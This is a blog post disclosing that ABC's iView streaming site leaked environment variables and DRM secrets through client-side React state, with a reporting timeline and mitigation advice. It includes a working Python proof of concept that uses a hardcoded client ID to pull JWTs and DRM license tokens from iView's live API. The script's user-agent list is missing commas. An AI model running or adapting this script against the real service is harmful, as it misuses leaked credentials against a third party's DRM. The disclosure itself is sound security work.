iViewed your API keys

Reporting on a security issue on ABC's iView.
Published at Wed Apr 13 2022 14:20:00 GMT+0000 (Coordinated Universal Time) Updated at Tue Nov 15 2022 08:44:00 GMT+0000 (Coordinated Universal Time)
infosec
security
programming

iView, a streaming service for the ABC, Australia’s state media broadcaster, has been plagued with security issues since at least mid-2021, which include the wholesale leak of the production server’s environment variables on the client-side that we are discussing in this article.

Key findings

The dataset

Accessing critical tokens used in the iView site is rather trivial, using the “View Source” function on all major desktop browsers.

The ‘how’

Since the iView application uses the React framework, it leverages a feature called “states”, which are sets of data that mutate and change inside React. The iView site specifically uses the “initial state”, which stores default data, as well as data stored globally on the site, to store the configuration for the application.

The ‘what’

The dataset originally contained the environment variables of the application, which included the following:

An example of this JSON is provided below:

iView appConfiguration JSON

A deeper dive

Let’s look at the other practices that iView might have taken based on the dataset provided, starting with the FairPlay certificate.

The alleged FairPlay certificate is stored at a public-facing URL, so it was trivial to grab it and review the certificate. Once downloaded, I saw that the certificate, seemingly generated by Apple’s certificate authority, expired two years ago, on September 2019.

iView FairPlay DRM certificate

Continuing on the subject of DRM, Widevine DRM secrets, as well as endpoints were also implicated in the dataset, although since ABC uses L3 encryption, not much can be done with it, except retrieving DRM signatures for shows and streams, which are XML-formatted, but base64 encoded. A proof of concept is located below:

#!/usr/bin/env python3

import requests, random, sys, os

user_agents = [
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0'
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.30'
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.109 Safari/537.36 OPR/84.0.4316.31'
    'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0'
]

user_agent = random.choice(user_agents)

def get_jwt(video: str) -> str:
    r = requests.post('https://api.iview.abc.net.au/v2/token/jwt', headers={
            'Content-Type': 'application/x-www-form-urlencoded',
            'Origin': 'https://iview.abc.net.au',
            'Referer': video,
            'User-Agent': user_agent
        }, data={'clientId': '1d4b5cba-42d2-403e-80e7-34565cdf772d'})
    return r.json()['token']

def get_license(jwt: str, video: str) -> str:
    stripped = video.replace('https://iview.abc.net.au/video/', '')
    r = requests.get(f'https://api.iview.abc.net.au/v2/token/drm/{stripped}', headers={
        'Origin': 'https://iview.abc.net.au',
        'Referer': video,
        'Authorization': f'Bearer {jwt}',
        'User-Agent': user_agent
    })
    return r.json()['license']

if __name__ == "__main__":
    video = sys.argv[1]
    type = sys.argv[2]
    jwt = get_jwt(video)
    print(f'JWT: {jwt}')
    license = get_license(jwt, video)
    print(f'License: {license}') 

The result

I had reported this to an ABC engineer back in December, after they reached out to me through an open call. They have since been progressively removing most of the sensitive configuration keys and values, but there are still some available, which are seemingly used for client-side functions. A lot of the original environment variables have been removed, though the only ones that remain are all prefixed with IVIEW_ in the key.

Can this be mitigated in the future?

Yes, through offloading a lot of services that currently are on the client side, as well as avoiding putting environment variables on client-facing scripts.